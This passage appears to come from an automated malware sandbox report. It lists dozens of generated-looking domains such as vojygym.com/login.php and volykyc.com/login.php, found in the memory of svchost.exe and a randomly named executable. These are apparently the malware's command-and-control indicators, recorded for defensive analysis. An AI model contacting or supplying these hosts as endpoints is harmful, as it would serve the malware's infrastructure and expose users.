    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914887301.0000000008A3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojyduf.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojygym.com/
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2276411177.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2307642297.0000000002F61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968517351.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2277949410.0000000002F62000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2788287399.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267073793.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojygym.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258284449.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960150197.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261481994.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261960277.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2280547985.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2263454454.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2259557028.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1957816081.0000000002F0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojyjot.com/login.php
    Source: svchost.exe, 00000001.00000003.1903825905.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906646427.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903806913.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905612292.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154704130.0000000008A1D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojyjyc.com/login.php
    Source: svchost.exe, 00000001.00000003.2898652067.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898558140.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2148149391.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900620371.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901757590.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1900619492.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2141003821.0000000008A1C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojykom.com/login.php
    Source: svchost.exe, 00000001.00000003.1950468360.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949257540.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2197387114.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1955984715.0000000008A16000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953376276.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1956064229.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953280624.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949823209.0000000002F54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953259371.0000000008A14000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1956479532.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953269983.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949367459.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1954568937.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2188539510.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1952617861.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1956146797.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1950449319.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1951299782.0000000008AF8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojykyf.com/login.php
    Source: svchost.exe, 00000001.00000003.1843276757.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1780489713.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1781013100.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779223947.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1856209919.0000000002F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1788657701.0000000002F5D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019933898.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779687726.0000000002F5B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojymic.com/login.php
    Source: svchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267073793.0000000008A1F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojymuk.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1947510326.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2183678981.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2177110574.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojypat.com/login.php
    Source: svchost.exe, 00000001.00000003.1933696547.0000000002F54000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojypat.com/p
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875606726.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875189147.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870487910.000000000089F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874825901.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875546987.0000000008ADD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojypuc.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojyqac.com/login.php
    Source: svchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1980885296.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993091460.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1722986918.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993394339.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1718521594.0000000002F09000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000C88000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008BFF000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000CF3000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2281883733.00000000009B8000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2320960777.00000000087AB000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2281883733.0000000000A26000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.0000000008719000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2340701230.0000000009AED000.00000004.00000010.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2298247060.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2148572373.0000000008C48000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2108655193.0000000000CE8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojyqem.com/login.php
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879229849.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880477607.0000000008B0B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://vojyrak.com/login.php
    Source: svchost.exe, 00000001.00000003.2176300458.0000000008B9F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1933815050.0000000002F9B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2173654266.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2172895145.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1933696547.0000000002F97000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volybut.com/
    Source: svchost.exe, 00000001.00000003.2176300458.0000000008B9F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volybut.com/H
    Source: svchost.exe, 00000001.00000003.1944205960.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1950468360.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1942144027.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1946665798.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944474921.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949823209.0000000002F54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1954875956.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1942146335.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1941306940.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1946581985.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944143633.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1945959904.0000000008A1A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volycem.com/login.php
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879229849.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1901541099.0000000002F61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1891061151.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1889657828.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878161986.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879362125.0000000002F61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1877345460.0000000002F61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898443082.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1880477607.0000000008B0B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volycik.com/login.php
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875189147.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874905532.0000000002F63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872943728.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870726684.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2889863215.00000000008A2000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A3C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volydot.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volydyk.com/
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1933696547.0000000002F54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1947510326.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2183678981.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2177110574.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volydyk.com/login.php
    Source: svchost.exe, 00000001.00000003.2176300458.0000000008B9F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volygoc.com/H
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2276411177.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volyjif.com/login.php
    Source: svchost.exe, 00000001.00000003.1788596948.0000000008A44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779722435.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2023538220.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779089650.0000000002F7A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1833647424.0000000002F03000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779096011.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779501399.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779124243.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779223947.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779650272.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1788657701.0000000002F5D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019576714.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2017360217.0000000004C42000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019933898.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779687726.0000000002F5B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volyjok.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261960277.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2263454454.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1963059685.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volykek.com/login.php
    Source: svchost.exe, 00000001.00000003.1903825905.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2909851006.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903806913.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154704130.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2157170272.0000000008A1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://volykit.com/login.php
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1981174664.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1695333905.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1981174664.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2026470742.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1982247626.0000000008B06000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1984984329.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092799019.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019933898.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008BA0000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000D40000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000CF3000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2320960777.00000000087AB000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2281883733.0000000000A26000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.0000000008719000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2298247060.0000000000A3D000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2341104178.0000000009D6D000.00000004.00000010.00020000.00000000.sdmpString found in binary or memory: http://volykyc.com/login.php
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779382100.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1780489713.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1781013100.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092799019.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2805839197.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, 